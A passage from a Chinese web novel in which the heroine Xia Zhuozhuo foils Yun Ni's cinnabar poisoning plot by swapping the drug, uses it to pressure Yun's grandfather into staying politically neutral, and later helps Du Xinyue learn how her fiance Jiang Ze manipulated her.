云霓是云老先生带大的,哪怕知道她对自己下毒,要自己死,还是选择了保护云霓。 夏灼灼有惊讶,但没有太多的惊讶。 她表情平静地说:“不用谢,我是看在杜董事长的份上,过来给您看病的。只不过,治疗过程中出了点小事,我必须得跟你说清楚。” “你说。” “您的身体里,今天被下了毒,是朱砂。如果不是我来得及时,您现在已经……不过您放心,现在体内的毒已经被全部排出来了。这几天您会咳血,不过不是什么大事,是毒素被带出来了。” 云老爷子点点头,再次道谢:“多谢你了。” 夏灼灼看一眼杜正国。 杜正国在这时候走上前。 “老先生,我是正国。下毒的事情我已经查过了,这几天接触过您的人,我都已经问了,都不是下毒的人。如果您需要的话,我愿意配合警方,让警方参与调查。” 云霓袖子里的手狠狠抖了下。 云老爷子看到了。 他很快收回视线,摆摆手说:“不用了。” 杜正国一副吃惊的样子:“都对您下毒了,您不查吗?” “想害死我的人太多了,真要查下去,没个头……你放心,我信你,此事跟你无关。只是我现在只想好好养病,不想为这些事情操劳。” 总之,老爷子很含糊地把事情盖过去了。 杜正国也明白了。 云老爷子也猜到了谁是下毒之人,但他不想深究。 苦主自己都不深究,他也不好继续坚持。 横竖老爷子已经知道,此事跟他无关。 杜正国虽然心里还是有些不爽,但到底也没再说什么了。 只是有点遗憾。 差点出大事的事情,就这么被轻拿轻放了。 夏灼灼虽然聪明,到底只是个女人。 女人都心软。 这是女人们一致的弱点。 算了,事情已经解决,云老首长没死,也清楚这件事跟他杜正国无关,他也没有什么好嫌弃的了。 然而就在这时,楼下传来阵阵喊声。 “云小姐在吗?!我来找云小姐!” 云霓心里真乱着呢,听到喊声,心里更烦躁了。 “什么人在外面大呼小叫!你把他丢出去!” 夏灼灼却开口道:“下楼的人喊你的名字,应该有什么重要的事情吧?不如让他上来,问问看是什么事。” 她说完这话,便看向了杜正国。 杜正国现在比起云霓,更偏向夏灼灼这边。 毕竟一个想连累他,一个却救了他。 他立刻吩咐杜浩然:“什么人在喊?把他带上来!” “是,爸。” 杜浩然应声,下楼去了。 杜馨月只是安静看着这一切。 而云霓,心底一阵阵发慌。 但她很快又告诉自己,爷爷哪怕已经猜到了,也没有在外人面前说起来,她最多被骂一顿,不会有什么事的。 这么自我催眠着,心态也慢慢平和下来。 就在这时,杜浩然把喊门的人带上来了。 第177章 你不是她的对手 喊人的人不是别人,正是落九针。 但他走进来之后,看都没看一眼夏灼灼,像是跟她不认识一般。 而屋子里的人,也没人知道他们认识。 云霓看到落九针进来,眼皮就是狠狠跳了一下。 这人来做什么?! 还没等她说点什么把人赶走,下一秒,落九针已经开口了—— “云小姐,您今早来买朱砂太着急,落下了东西,我的伙计说这东西很贵重,所以我着急给您送过来。” 他一边说,一边摊开了自己的手掌心。 掌心里,一条全钻手链正绽放着炫目的光彩。 云霓脸色大变。 夏灼灼在这时候突然开口:“你说买什么?朱砂?” 一直没说话的杜馨月露出一副吃惊的样子,顺着夏灼灼的话说:“夏小姐,你刚才说云爷爷中的是朱砂的毒,是不是?” 夏灼灼点头,问云霓:“云小姐,你买朱砂做什么?” 云霓已经乱的六神无主,下意识就否认:“我没买朱砂!也不认识这个人!快把他赶出去!” 落九针一副错愕的样子。 “你怎么会不认识我呢?早上的时候,咱们刚见过的呀。您说家里有老鼠,要买朱砂。我还劝您,老鼠不会吃朱砂的,您最好买专门的老鼠药,您不听,非要朱砂,我只能卖给您了。” 说话间,他还拿出了手机。 “这是付款记录,当时您多给了我钱,我后来想想不能乱收费,还打算趁现在把多余的钱还给您呢。” 手机屏幕里,付款人正是“云霓”。 云霓百口莫辩。 夏灼灼表情凝重。 “云小姐,你买了朱砂,正好云老先生中的是朱砂的毒,这件事……你该怎么解释?” “我、我……” 云霓眼眶通红,眼神里却藏着阴毒。 爷爷都不怪她,夏灼灼在这里多什么嘴? 屋子里所有人都在看着她。 云霓方寸大乱,只好求助云老爷子。 “爷爷,我真的没买朱砂,我不知道这个人为什么这么说,我见都没见过他。” 落九针露出更加疑惑的眼神。 “这是怎么回事?云小姐,你为什么装作不认识我?” “够了!”云老爷子厉声开口。 因为突然大声说话,他剧烈咳嗽起来。 “爷爷……” 云霓要去替他轻抚胸口,被云老爷子一把甩开。 他平复了下呼吸,沉声道:“这是我们的家务事,正国,把这位先生请出去吧。” “是……”杜正国点头,面色平静地把落九针请了出去。 心里却是波澜万丈。 他看走眼了。 他还觉得夏灼灼不够狠,没想到还有后招。 他可不觉得,一个大夫,会主动上门来退钱。 “其他人,都出去吧,妮妮留下,我单独跟她说会儿话。” 云老爷子的脸色非常难看,是气的。 然而云霓带来的两个警察却开口了。 “这位老先生,这位云小姐已经报案了,说有人毒害您,现在我们掌握了新的证据,还请云小姐跟我们走一趟吧!” 云霓瞪大了眼睛。 “你们要带我走?报警的人是我!” “你报警了,我们当然要把事情调查清楚。现在,我们怀疑下毒的事跟您自己有关,请跟我们走吧!” “爷爷……” 云霓求助地抓住云老爷子的手。 云老爷子脸色更难看了。 他开口,让两个副官跟两个警察去交涉。 自己则是留下夏灼灼单独说话。 “医生小姐,我们聊两句?” 夏灼灼没拒绝,盈盈一笑,说:“好的。” “爷爷,我……” 云霓也想留下来。 她怕自己一出这个门,就会被警察带走。 她不想成为杀人凶手! “你出去!我跟医生小姐单独聊一会儿。” 云霓只好出去了。 很快房间里只剩下夏灼灼和云老爷子两个人。 “医生小姐……” 夏灼灼打断他:“您不用这么我叫,我想,您应该知道我是谁。” 云老爷子噎了下。 他的确知道。 云霓非要跟宗域在一起的时候,他就查过夏灼灼。 一个无业游民。 却不知道哪里来的钱,在京都住很豪华的别墅。 之前他以为她是靠出卖色相,现在才知道,她靠的是她的医术。 她能让自己昏迷中还能听到外面的说话声,这医术……已经不需要再靠别的证明了。 而夏灼灼,之所以猜到云老爷子查过她,是因为她在把他治好之后,他眼底没有太多的感激,只有意外。 像是在意外,怎么是她治好的他。 云老爷子便道:“夏小姐,明人不说暗话,这些事情,都是你安排的吧?” 夏灼灼弯唇,笑得更深。 “老先生,这话说的不对,如果没有云小姐‘帮忙’,我安排不了这些事。” “你真是好大的胆子。” 夏灼灼回击道:“比起云小姐,我的胆子不算大了。给我一万颗熊心豹子胆,我也不敢毒害自己的亲爷爷。” 云老爷子的表情更黑了一点。 他还是第一次被一个小姑娘呛得不知道该说什么。 他深吸了一口气,索性不跟她逞口舌之快。 “你想要什么?宗域?他不可能离婚,再跟你结婚。” 夏灼灼笑了。 “云小姐不愧是您的亲孙女,她的脑子里也只有这些情情爱爱,装不下其他更多的事。” “你——咳咳咳……” 云老爷子被气的直咳嗽。 夏灼灼贴心地给他递上一杯水。 “您大病未愈,情绪不要太激动,对身体不好。” 云老爷子更气了。 他咬着牙,问:“你到底想要什么?” 夏灼灼拉了张椅子,坐下来说:“我知道,云家一直是中立派……” 云老爷子的眼皮猛地一抬,没有生气,只有惊讶。 她竟然提起这个。 怪不得,她说了刚才那句什么情情爱爱的话…… 夏灼灼继续说道:“我也不想为难您,非要让您靠向党帅。只希望,不久的将来,您能继续保持中立,不要偏帮另一边。否则,云小姐这事儿,就不好解决了。” 云老爷子深深看了她一眼。 这眼神,跟之前不屑和厌恶有所不同。 多了一分忌惮。 “你是党帅的人?” 夏灼灼摇头:“很遗憾,我算不上党帅的人,他甚至不认识我。” “那你为什么帮党帅说话?” “我们普通老百姓偶尔也是会关心政事的。比起另一位,我作为老百姓,更喜欢党帅。” 云老爷子紧紧盯着她,竟是分不出她话里哪句是真,哪句是假。 许久,云老爷子收回了探寻的视线,表情很冷。 “你敢威胁我,就不怕我杀人灭口?” 夏灼灼微微一笑。 “我既然敢跟您打这个商量,自然留有后招。当然,您要是足够自信,现在就可以叫人杀了我,看是我的后招厉害,还是您厉害。” 云老爷子在心里倒吸了一口凉气。 夏灼灼,牢牢拿捏住了他的心理。 夏灼灼的命,很不值钱,因而他不敢拿自己孙女的命去赌。 何况,夏灼灼的要求的确不算过分。 她只是让自己继续保持中立,不需要他帮着党系的人做事。 这是一笔很划算的买卖。 只是心里很是不爽。 他活这么大年纪,竟然被一个黄毛丫头给拿捏了。 夏灼灼知道他在想什么,说道:“当然了,作为歉礼,我会帮您治好您的病。” 云老爷子闭了闭眼。 他又被精准拿捏住了。 他的病,看了那么多医生,却只有夏灼灼能这么迅速地治好他。 这会儿,他连怨气也没有了,甚至挺佩服她。 “你要是我孙女就好了。”云老爷子说了这么一句。 夏灼灼已经懂他的意思了。 她开了两张药方,放在床头柜。 “您一共要治疗三个疗程,但我也知道,您不想看到我,所以只需要按照药方抓药就可以了。” 云老爷子摆了摆手。 “你走吧!把你的人,全部带走。” “好的。”夏灼灼轻轻颔首,没有再停留半刻,转身出去了。 她的医术,其实也没有这么神乎其技。 对别人来说,云老爷子的病这么难治,是因为他们调制不出解药。 而碎魂散,是她制出来的毒,她自然知道该怎么解。 故而,杜正国也没说错,云老先生的病,还真的只有她能治疗。 门外的两个警官见夏灼灼出来,投过来询问的眼神。 夏灼灼微一点头,他们便往楼下走去了。 云霓见状,怒不可遏:“他们竟然是你的人?你究竟都做了什么!” 夏灼灼面无表情地说:“问我之前,先问问你自己,你究竟都做了什么?” 若非云霓弄这么一出,她有机会反过来算计她吗? 她应该庆幸,云家对夏灼灼来说,还算有点作用,否则连这出打脸的戏,她都不想做。 “你——” 云霓还想反驳,里头传来云老爷子的声音:“云霓,你给我滚进来!” 夏灼灼幽幽开口:“云老先生找你,云小姐还是赶紧进去吧。” 云霓恨得咬牙切齿,却也只能扭头进了房间。 云老爷子看着她,直接开口:“跪下!” 云霓不敢反抗,直直跪了下去。 “知道我为什么让你跪吗?” 云霓已经知道老爷子什么都清楚了,她无力辩解,只能咬唇说:“知道……孙女该死,只是、只是我以为您已经救不回来了,所以才……如果知道您能治好,我绝对不敢也不会这么做。” 云老爷子良久,说了一句:“你不是她的对手,准备收拾东西,回京都去。以后,再也不要到沪城来。” “可是……” “可是什么?你要是想去坐牢,我也随你。” 云霓再没敢有别的话。 第178章 相似容貌 另一边。 杜正国对夏灼灼千恩万谢了一番。 夏灼灼没什么反应,只说:“不想惹麻烦,就尽早把他们送回去吧。” 杜正国连忙应声:“是。” 他对夏灼灼比之前又换了一种态度。 之前只是客气,现在则是恭敬。 他对夏灼灼心服口服。 夏灼灼又对杜馨月说:“我有点累了,明天再吃饭吧,你把餐厅地址发给我,我明天一定准时赴约。” 杜馨月也没坚持。 今天的事,她也需要好好回去消化消化。 “好。”杜馨月点头。 唯独杜浩然,夏灼灼看也没看一眼他。 这种人,自负至极,多给他一个眼神,他或许都会误会你对他还有那么一点意思。 杜浩然的脸色难看得能滴出水。 他好歹帮她审问了护工,她心里一点感激都没有? 杜正国进去后,杜馨月瞥见杜浩然的脸色,漫不经心开口:“大哥,我劝你死了这条心。” “你什么意思?” “没什么意思。单纯觉得你配不上夏灼灼。” “你以前不是很讨厌她么?” “我是讨厌她,现在我也看她不顺眼,但这不妨碍我觉得你配不上他。” 杜浩然眼底闪过一丝冷芒。 “杜馨月,你最好搞清楚,以后在家里当家做主的人早晚会是我,你但凡长点脑子,就该知道你要站在哪边。” 杜馨月面无表情。 “你只是比我多了根东西,有什么好炫耀的?但凡我是个儿子,你看爸爸会让谁继承家业。” “你——” 杜馨月懒得再理他,转身直接进去了。 杜浩然站在原地,两手紧攥成拳。 他配不上夏灼灼?一个落魄家族的女儿? 哪怕有点医术,又如何? 从前说三教九流,医生不过是中九流罢了! 而他们杜家,虽然从杜正国这一代开始从商,但杜老爷子可是妥妥的政界退休的人物。 他哪点配不上夏灼灼了? 不过就是夏灼灼现在跟司慎行走得近了点罢了。 司慎行难不成还真能看上夏灼灼? 就连他,骨子里也是瞧不起夏灼灼的。 当然,以前他骨子里其实也是瞧不上夏琉璃的。 …… 另一边。 夏灼灼出门之后,两个警员迎上来。 其中一个,不是别人,正是丁警官。 他已经正式成了司慎行的人,说不定以后会是第二个方局。 对此,他很感激夏灼灼。 因而夏灼灼找他帮忙,让他如果接到杜家公馆的报案时,一定要跟着一起出警的时候,他义不容辞地答应了。 “今天麻烦你们了。”她递出一张卡:“里面没多少钱,请你们吃饭。” 丁警官忙拒绝了。 “夏小姐,这卡我不能收,这是规定。至于我个人,更不该收这卡。” 他坚持不收,夏灼灼只好作罢。 那边落九针还在等,夏灼灼便跟两个警官道别,上车往九珍堂开去。 其实夏灼灼的计划很简单。 她在猜到云霓会利用云老爷子对付自己之后,就让金虎去查云霓所在的酒店,以及杜家公馆附近的药材铺。 顺便,让金虎派人去偷云霓放在酒店房间里的首饰。 而落九针,则是去把金虎查到的药材铺一一高价买下来。 她猜到,自己给云老爷子开了药方,云霓如果要动手,一定是在她开的方子里下毒。 果然,云霓在今天早上的时候,去了其中一家药材铺。 她要买朱砂。 落九针就把形似朱砂的补药卖给她。 云霓不是医生,不懂药理,分辨不出两种药。 所以,云老爷子压根没有中毒。 他身上的毒,是他原本体内就有的毒。否则如果真的下了毒,云老爷子这身子板是挺不过去的。 夏灼灼到了之后,给他喂了解药,并且用银针为他治疗。 在云霓赶到的时候,云老爷子正好醒过来。 而这三天里,夏灼灼开的药方,能让云老爷子维持原来的状况,但恢复了他的听力。 云霓下了“毒”之后,对云老爷子说了很多忏悔的话。 夏灼灼到了之后,又引导云老爷子,确定是云霓给他下了毒,要害死他。 才有了后来发生的事。 车子缓缓启动,落九针忍不住开口:“师父,您为什么让我把朱砂换成另一样形似朱砂的补药卖给她?直接让云霓把自己的爷爷毒死,她岂不是更逃不掉法律的制裁?” 夏灼灼只一句:“云老爷子活着比死了有价值,至于云霓,她的死活,我不在乎。” 的确,云霓跟她有仇。 换成旁人,都恨不得趁机将计就计,让云霓害死老爷子之后,叫丁警官把人抓走。 云霓是亲自去买朱砂的,人证物证俱在,她免不了牢狱之灾。 可这么做,除了能出口恶气,又有什么别的作用吗? 何况,她现在心里对云霓抢走宗域的事,已经没有气了。 能被抢走的,不管是人还是物,或许原本就不属于她。 尤其是人。 被抢走过的人,她不会再要。 哪怕痛心,她也不会再想要了。 反而是云老爷子。 她救了老爷子的命,治了他的病,又有云霓作为威胁,以后党窦之争,云老爷子这个中立派早晚会不得不做出选择。 他就算不站在党帅这边,只要不帮着另一边,对党系也大有裨益。 既如此,她何必出这口气? 不如借着云霓,拉拢住云老爷子。 她很确定,以后云老爷子如果要做出选择,一定会选择党系。 毕竟,云老爷子哪怕知道是云霓对自己下了毒,他都要瞒着,这足以证明,云霓在他心里的重要性。 为了这个孙女,他也会选择党系。 更别提夏灼灼对他,是有救命之恩了。 想到这,夏灼灼又补了句:“甚至,我今天还得谢谢她。” 落九针只是个医生,不懂这些。 他迷茫地挠挠头,说:“反正……师父让我做什么,我就做什么。” 夏灼灼微微一点头,说:“买药铺的事情,你继续去做。一个月内,你要买下整个沪城的中药铺。” 现在的人,都爱惜自己的身体。 哪怕没什么病,也喜欢喝点中药调理身体。 掌握中药铺,就能掌握很多信息。 落九针微一迟疑,说:“买下那些药铺不算什么,就是我没这么多人手,可以接管每个药材铺。” 夏灼灼道:“放心,我已经安排好了,我们现在有的是人手。” 落九针眼睛一亮。 “您的意思是,所有人都过来了?” “是的。” “秋雨也来了?” 秋雨虽然在名义上是他的小师妹,但他没有女儿,更多是把秋雨当女儿看。 夏灼灼看了落九针一眼。 他也是个坎坷的人。 四年前丧妻,女儿又意外去世,他因为连自己的妻女都治不了,就想自寻短见,是夏灼灼恰好在江边看到他,才把人救下来。 之后他就跟着夏灼灼安心学医。 只是每次看到跟他女儿年龄相仿的女孩,他整个人就会显得格外低落。 而秋雨,刚好跟他女儿同岁。 夏灼灼点头:“来了,只是最近大家事情多,等空了,我让她来帮你忙。” 落九针笑了。 “好,不着急。” 送落九针回去后,夏灼灼又去了趟暗部。 她吩咐谷仔继续查是什么人给云老爷子下的毒。 如果查到,云家又欠她一次。 “是。”谷仔应声,随后给她端上来一碗小吊梨汤。 “秋雨做的,您尝尝。” 夏灼灼点头。 梨肉炖的很烂,放少许的冰糖,以及银耳、枸杞、百合、几颗红枣。 让人意外的是,还放了几颗话梅。 酸中带甜。 “很好喝,你让秋雨多做点。入秋了,天气干燥,给每个人都分点。” “是。”谷仔答应着。 夏灼灼借着灯光,瞥见谷仔的侧脸。 泡面头夏,是一张国字脸,下巴中间有一点凹陷,是他的特点。 但夏灼灼却想到,司慎行身边的阿麦也是这样。 下巴中间有一块凹陷的地方。 夏灼灼不由得问:“你下巴是天生这样,还是后天造成的?” 谷仔耸肩:“天生这样。我还去医院查过,说是什么在娘胎里发育的时候没发育好,形成的轻微骨性凹陷。” 夏灼灼再次看一眼谷仔。 谷仔是最早跟着她的人。 那个时候她刚昨晚系统给的任务回到这个世界,然后就遇上了从孤儿院里逃出来的谷仔。 “你小时候从孤儿院里逃出来的时候说,你哥哥也跑出来了,但是跟你走丢了。你后来有查过他吗?” 谷仔挠挠泡面头。 “老大,你问这个干什么?” “就……随便问问。” 她也知道世界上没有那么多巧合的事情,不过多问一嘴也不会少块肉。 谷仔叹了口气,说:“我们暗部初见雏形的时候我就查了,他死了。” 夏灼灼微微睁大眼睛。 “怎么死的?” “他运气没我好,被孤儿院的人抓回去了,我后来找到那家孤儿院的一个员工,说他没扛住,死了。” 夏灼灼蹙眉。 谷仔继续说:“那家孤儿院,其实不是什么孤儿院,更像是一个打着孤儿院招牌的人口贩卖中心。” “后来很快就被警方查到,关门大吉了。” “很多被抓到那里的,都找到了自己的亲生父母。只有我跟我哥……我们本来就是孤儿,在路上乞讨,被他们带回去的。” 第179章 追女人三字诀 夏灼灼沉默一阵,问:“你哥的事,你以前怎么没跟我提过?” 谷仔浑不在意地说:“已经死了,还有什么好说的?如果没死,我还能拜托您带他一起进暗部。” 谷仔这些年陪着她走南闯北,把生死看得很淡。 又或者说,是痛久了,就不觉得痛了。 人在感情上,也是会麻木的。 “现在对我来说,更重要的人是您,是暗部的大家。”谷仔说:“以前的事,就跟上辈子的事情一样,我都忘得差不多了。” 夏灼灼垂下眸。 她想起了江泽母子。 江泽母子的事情对她来说,也像是上辈子的事情了。 所以有种好了伤疤忘了痛的感觉。 也正因如此,柳月茹说她病重,夏灼灼才回去看了她。 结果等来的是柳月茹用三万块钱卖了她。 今天如果不是杜馨月说起她派去乡下的人回来了,她都差点忘了这对母子。 “你对我来说,也是最重要的家人。” 夏灼灼微微一笑,喝完了整碗小吊梨汤,回夏家去了。 今天是鬼门十三针的最后一套针法。 “今天会有点艰难。”夏灼灼对夏怀征说:“但熬过了今晚,你就重获新生了,大哥。” 夏怀征用力点头。 这一个晚上,不仅夏太太在,夏家除了夏怀武和还没回来的夏四之外,所有人都陪着夏怀征。 他一会儿热的想跳进冰窟窿里,一会儿冷得想抱紧火炉,恨不能直接跳到火里。 一会儿又双腿刺痛,像是有一千把刀子在割。 他身体很痛苦,精神却有着从未有过的放松。 “加油,儿子。” 夏太太眼眶含着眼泪。 夏怀征咬着软木枝,用力点头。 终于,随着天边泛起鱼肚白,这最难熬的一晚算是挺过去了。 夏灼灼看着沉沉睡去的夏怀征,沉沉吐了一口气。 宁穗香问:“以后就结束了吗?” 夏灼灼点头又摇头。 “我这里的治疗算是结束了,接下来就得靠大哥自己做康复训练。他已经能走动,但什么时候能完全恢复到咱们正常人的水平,就得看他自己的训练了。” 宁穗香宽慰了几分。 “你大哥是个有毅力的,虽然他自暴自弃过一段时间,但有了你给他的机会,他一定会牢牢抓住。” 夏灼灼也深以为然。 几个人很快都回房间睡觉了。 虽然只是陪着夏怀征,但大家也都很累,很快睡着了。 只有夏怀征。 大家都走后,他慢慢睁开了眼睛。 他没睡着。 他起身后,略显艰难走到书桌前,开始制定康复训练计划。 这几年,他已经睡得够多了,他不想再继续“睡”下去了。 他可以付出比别人多几倍的时间和辛苦。 别人用一个月的时间,他就用半个月。 他一定要早日康复,成为一个能帮得上七妹的人。 转眼到了第二天。 夏灼灼收到了两条短信。 一条是司慎行发过来的。 他约她今天吃饭。 还有一条是杜馨月发过来的。 按照昨天的约定,她定了一个餐厅,给夏灼灼发来了时间和地址。 夏灼灼先回了杜馨月的消息,说自己会准时到。 而后她拨通了司慎行的电话。 “有什么事吗?” “没事就不能找你吃饭?” “没事的话就改天吃饭,我今天约了别人。” “谁?”他的声音沉下来,似乎有些不悦。 夏灼灼不管他的情绪,正色道:“我约了杜馨月,说点正事。” 司慎行是没什么正事的。 他叹了口气,说:“那就算了。” 又问:“你们在哪儿吃饭?” “秋田宴。” 一家日料店。 “你不是不喜欢吃日料吗?” “杜馨月订的。吃什么不重要。” “行,那我们改天约。” 司慎行挂断了电话。 夏灼灼觉得有些莫名其妙。 她还以为他也有什么要紧事。 殊不知,对司慎行来说,她就是最大的要紧事。 司慎行旁边,全程听着电话的季恒急得不行。 “她约的午饭,你约她晚饭不就好了?怎么直接就说改天约了呢?我不是跟你说过,追女人最重要的,就是三字诀——厚脸皮吗?” 司慎行冷冷看他一眼。 “你真啰嗦。” “我啰嗦也是为了你好,难不成我真看着你这棵好不容易开花的老铁树再枯萎吗?” 司慎行蹙眉:“你说的什么话?谁是老铁树?” 他还不老。 风华正茂,跟夏灼灼的年龄很般配。 “说的就是你!你快打电话回去,告诉嫂子,说你有重要的事找他。” 司慎行问:“什么重要的事?” 季恒都快要无语了。 “没有重要的事!就是一个说辞,人来了再说。” 司慎行面无表情地说:“我不会骗她。” “这不是骗,是哄。” “哄也不行。做人最重要的是诚信,尤其在她面前,我一次诚信也不能失去。你闭嘴吧。” 季恒气得差点没背过气去。 “好好好,你清高,你打一辈子光棍去吧!” 季恒扭头就走。 司慎行却不管他,按下内线,叫底下的人准备开会。 但两分钟后,他又拿起了电话,叫了阿麦进来。 阿麦今天没穿西装,只穿着一身白色的休闲服。 他也是典型的国字脸,眼皮略厚,唇瓣却偏薄,看起来就有点寡淡。 别人都说是他跟着司慎行久了,所以越来越像他了。 但只有阿麦自己知道,他本来就是一个寡淡的人。 这跟他小时候的经历有关。 他是个孤儿。 若非被正好离家出走的司慎行救下来,他已经被人打死了。 所以从那之后,他对什么都不关心,只围着司慎行鞍前马后。 他的命,是司慎行的。 “少爷。有什么吩咐?” 司慎行转动着手里的钢笔,像是下了很大决心才说:“中午跟廖氏的饭局,安排在秋田宴吧。” 阿麦有些惊讶。 “日料?您不是不喜欢吃日料吗?” 之前还说什么,那个国家的人的东西,狗都不吃。 今天怎么吃上了? “廖总可能爱吃。” 阿麦就没再多想了,点头应是。 又问:“需要包场吗?” “不用。” “是。” 阿麦出去后,司慎行轻轻吐了口气。 他这算是……尾随吗? 应该不算吧? 他只是去办公。 正好廖总喜欢吃日料,仅此而已,夏灼灼不会生气的。 他像是在自我催眠。 另一边,夏灼灼挂断电话后,就下楼吃早饭去了。 结果家里其他都睡着,只有许姨在。 她在小桌子上吃白粥。 看到夏灼灼,许姨面露惊讶。 “你们昨天熬那么晚,我以为起不来,就没做早饭……” 她慌忙放下筷子要去厨房。 夏灼灼叫住了她。 “不用忙了,我跟您吃一样的。” “这怎么能行?我吃的是昨晚剩下来的饭,做成米粥了。” “没关系的。”夏灼灼笑容温和,就像不曾发现许姨曾经背叛过他们。 许姨点头,眼眶有些红。 她很快盛了米粥过来,又端了两碟小菜,就要回小桌子去吃。 夏灼灼叫她一起在餐桌上吃饭。 许姨犹豫了会,还是答应了。 一顿早餐吃饭,许姨像是鼓起了很大的勇气。 她问夏灼灼:“七小姐,我能留下来吗?” 夏灼灼放下筷子,很平静地说:“不能。” 许姨眼底的光彩渐渐暗淡下去。 她自嘲一笑,说:“您当我没说,是我厚脸皮了。” “许姨。”夏灼灼缓缓开口:“不是我不信任您,是您有软肋。您的儿子,就是您的软肋。这次因为他,您差点背叛了我们,难保不会有下一次。所以我让您离开,不只是为了夏家,也为了您和您儿子。” 同样的,夏怀武这个人身上缺点很多,他也会成为夏家的软肋。 所以夏灼灼安排他去海岛了。 许姨听懂了。 她的丈夫,夏管家,比起自己的儿子,更在乎夏家,所以他没有软肋,他绝不会背叛夏家。 但许姨会。 哪怕她对夏家也是一片诚心,但终究抵不过软肋。 许姨自己也不知道,再遇到一样的事情,还会不会做出错事。 她开口道:“以后我不再提留下来的事了。” 夏灼灼点点头,说:“不过您放心,我会给您和您儿子安排一个很安全的地方,等这边所有的威胁解决了,我还让您回来。” 许姨的眼睛恢复了一点光亮。 “我还能回来?” “当然。” 许姨似乎又找到了动力,欢欢喜喜地洗碗去了。 夏灼灼也没骗她,只不过,所有的威胁解决,这需要很长时间。 又或许,只需要一年。 谁也说不准要多久。 得看局势如何发展。 也有可能,夏家输了,党帅败了,许姨就永远回不来。 但她会保证他们母子的安全。 很快到了下午。 夏灼灼出门了。 她自己开车,先去了暗部一趟,然后才去秋田宴。 这家日料店很大,里面还有小院子,都是日式的风格。 客人还可以选择换上日式的和服用餐。 夏灼灼拒绝了。 “不用。” 服务生就带着她去了包厢。 她们包厢正对着小院子的一汪水池。 里面养着很多锦鲤。 夏灼灼过来的时候,杜馨月正在喂鱼。 她也没换衣服,穿着自己的一套香奈儿套裙,看起来有点烦躁,只喂了几次,就把小瓷碗里的鱼食全都丢进去了。 “你这么喂,是浪费。”夏灼灼说。 杜馨月的眼睛骤然亮起来。 但又像是为了敷衍什么,很快摆起了臭脸。 第180章 你会让他们死吗? 夏灼灼一眼看出杜馨月的表情变化。 她知道,杜馨月是个拧巴的人,所以她也不点破,径直往她那边走过去。 杜馨月拉着臭脸问:“怎么来这么慢?” 夏灼灼不介意她的态度,说:“临时给你准备了一份礼物,所以来得晚了点。不过,也才迟到十分钟,别这么生气。” 杜馨月其实没有生气。 她干咳一声,说:“算了,不跟你计较,进来吧,菜已经都上了。” 夏灼灼点点头,脱了鞋子,坐在桌子旁边的蒲团上。 由于上次在酒吧门口差点出事,所以现在杜馨月出门都带保镖。 两个保镖替她们拉上了隔断门,让她们可以安静说话。 夏灼灼说:“不着急,先把正事说完,你派去乡下的人,都查到了什么?” 提到这个事情,杜馨月就一脸晦气。 她问夏灼灼:“介意我抽根烟吗?” 夏灼灼点头。 她便点了支烟,吞云吐雾了一口才说:“我查到,他在乡下有个童养媳,那个童养媳……叫夏灼灼。” 夏灼灼的表情没有任何的变化。 杜馨月看她一眼,觉得她的反应太平静了,又继续说:“但是他们说,他的童养媳被火烧死了。” 夏灼灼双目含笑,说:“是啊,他们家的童养媳被烧死了。” 杜馨月没那么多耐心,直接问:“夏浅浅到底是不是你?” “是我,从前的我。” “那他们为什么说你被烧死了?” 夏灼灼微笑道:“因为我逃出来了。” “那你怎么不报警?” “因为我把抓我的人,都烧死了。” 杜馨月一惊。 “你……” “柳月茹……也就是江泽他妈,他妈骗我回去,然后用药迷晕了我,用三万块钱,把我卖给其他人。” 杜馨月紧紧皱起眉。 “为什么?他们把你买回来,为什么又把你卖掉?” 夏灼灼意味深长地看了杜馨月一眼。 杜馨月的脸色一寸寸变白。 她明白了。 是因为江泽攀上了她这根高枝,所以要卖了夏灼灼。 杜馨月握着麦茶的手,紧到指节泛白。 “简直是个畜生!我从前觉得他的缺点只是穷,我有钱,所以不觉得穷是缺点,才跟爸妈提出要跟他结婚。却没想到他是这么个货色!” 夏灼灼静静听着。 杜馨月骂了好一会儿,见夏灼灼一句话也没有,不禁觉得奇怪。 “你不恨他吗?” “恨啊。” “那你怎么不骂?” “骂人不累吗?” “……”是有些累,她都口干舌燥了。 杜馨月拿起麦茶,咕噜咕噜喝了大半杯。 夏灼灼在这时候才拿出礼物。 是她早就让暗部去查的一件事。 她拿出一份文件,递给杜馨月。 “什么东西?” “你看了就知道。不过,我建议你先吃点东西再看,免得气得连东西都吃不下。” “不至于!” 杜馨月一边说,一边打开了文件。 片刻后,她气得瞳孔都颤动了起来。 “江泽!我要杀了他!” 杜馨月跟江泽走到一块,是因为她刚经历男友劈腿,她阴差阳错,亲手捉奸在床。 而这个时候江泽出现了。 他的温柔,他的处处细心、体贴,以及跟前男友有三分相似的外表打动了她。 而且,江泽并不知道她是杜家的大小姐,只以为她是普通人。 面对这样一个人,她一下子就坠入爱河。 杜馨月自认是个很任性的人,交往过的三任男朋友都因为受不了她的脾气跟她提出分手。 只有江泽,从不嫌弃她的大小姐脾气。 他真真正正把她当成公主来宠爱。 所以杜馨月就觉得,不会再有更爱她的男人了。 也是因为这样,她才不顾家里劝阻,非要跟江泽在一起。 却没想到,这一切都是假的。 夏灼灼给她的文件里显示,她把前男友捉奸在床不是阴差阳错,是江泽的蓄意。 江泽不是不知道杜馨月的身份,甚至,他把她调查得很清楚。 一开始,他就存着攀高枝的心思去的。 调查了杜馨月之后,江泽故意接近她前男友,把人灌醉之后,叫了个小姐,让他们两个睡在一起。 也是他故意叫人引导杜馨月去捉奸。 再之后,一切水到渠成。 杜馨月浑身发抖,恨不得现在就把江泽杀了。 夏灼灼轻轻握住她的手。 冰凉的触感,像是一盆水,渐渐浇灭了她的火气。 杜馨月哭起来。 “我虽然脾气不好,但对他是真心的。” “我嫁给他也不需要什么彩礼,唯一的条件是他不能带她妈妈过来。” “但这个条件,也是我妈提出来的。她说家里能接受江泽的唯一条件,就是让江泽入赘……” “他同意了,说入赘也没关系,只要能跟我在一起。” “我更觉得亏欠他,就帮他据理力争。所以才到现在都没谈婚事……” 杜馨月自认已经为江泽做了很多很多。 “但是,我真的没想到,这一切都是算计。” 夏灼灼道:“男人都不是什么好东西,尤其是凤凰男。他嘴上答应你入赘,但心里可从没想过要入赘。这不,他早就把她妈带到沪城来了。” 杜馨月:“他妈?难道……那天我去他家,那个新来的保姆就是他妈?” 夏灼灼让杜馨月描述了一下长相。 听完后,她很确定地点头:“没错,就是她。” 杜馨月冷笑一声,说:“她也真能忍。我用对佣人的态度对她,她竟然一点都不解释。” 夏灼灼道:“因为她儿子还没娶你,一旦娶了你,她有千万种方法报复回来,当然也就不在乎这一次被你骑在头上。” 